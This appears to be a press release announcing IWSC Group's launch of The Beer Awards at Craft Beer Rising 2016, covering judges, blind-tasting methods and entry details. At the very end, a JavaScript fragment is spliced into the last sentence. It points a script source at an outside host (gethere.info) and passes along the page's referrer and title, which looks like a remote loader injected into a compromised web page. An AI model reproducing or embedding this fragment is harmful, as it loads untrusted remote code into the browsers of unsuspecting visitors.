IWSC Group launch The Beer Awards at Craft Beer Rising 2016 with live in-show IPA judging

15/07/2016

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The Beer Awards is a brand new beer competition run by the world’s leading experts in drinks competitions, IWSC Group. With over 47 years’ experience in judging quality in alcoholic beverages, IWSC Group, along with a with a stellar line up of expert judges is pleased to announce The Beer Awards will be open for entries on Friday 26th February.

With the explosion of new breweries opening their doors all around the world, The Beer Awards’ aim is to highlight exceptional beers using IWSC Group’s rigorous judging method in order to make consumer drinking choices that little bit easier. The Beer Awards’ medals will act as a credible point of difference on a crowded shelf and influence purchasing decisions both on and off trade.

The competition will be launched at Craft Beer Rising this Friday with live in-show judging of exhibitors in a quest to find the best IPA at the event. Entries will then open worldwide for The Beer Awards.

Simon Jackson (former CEO of the Institute of Brewing and Distilling) will be chairing the judging panel and leading the charge of high calibre judges from across the industry including Des de Moor, Mark Dredge, Nigel Sadler, Annabel Smith and Chris Smart to recognise and reward the world’s best beers.

Simon commented on the launch; “I’m really looking forward to the judging of IPA’s at Craft Beer Rising at Old Truman Brewery. It is sure to be an exciting day – one with many memories as I was Head Brewer at Truman’s between 1986 and 1988! The scene is set and along with all the judges, I’m looking forward to what is sure to be a very stimulating launch event.”

The judging process for the main awards will employ the same rigour as all IWSC Group competitions with strict blind tasting by leading beer experts where beers are scored and awarded three, four or five stars. The five star beers will then be re-tasted to determine the best of the best. Finally, the beers will be subjected to a chemical and technical analysis where levels of alcohol, bitterness and colour will be tested in order to ensure consistency and reliability for the ultimate consumer.

The competition is open to packaged beers (bottles and cans) from all around the world for all sizes of brewers; from nano to global and micro to regional.

Competition results will be announced in London in July and winners will be provided with a marketing toolkit to allow them to be able to display artwork of their success on pack or point of sale.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;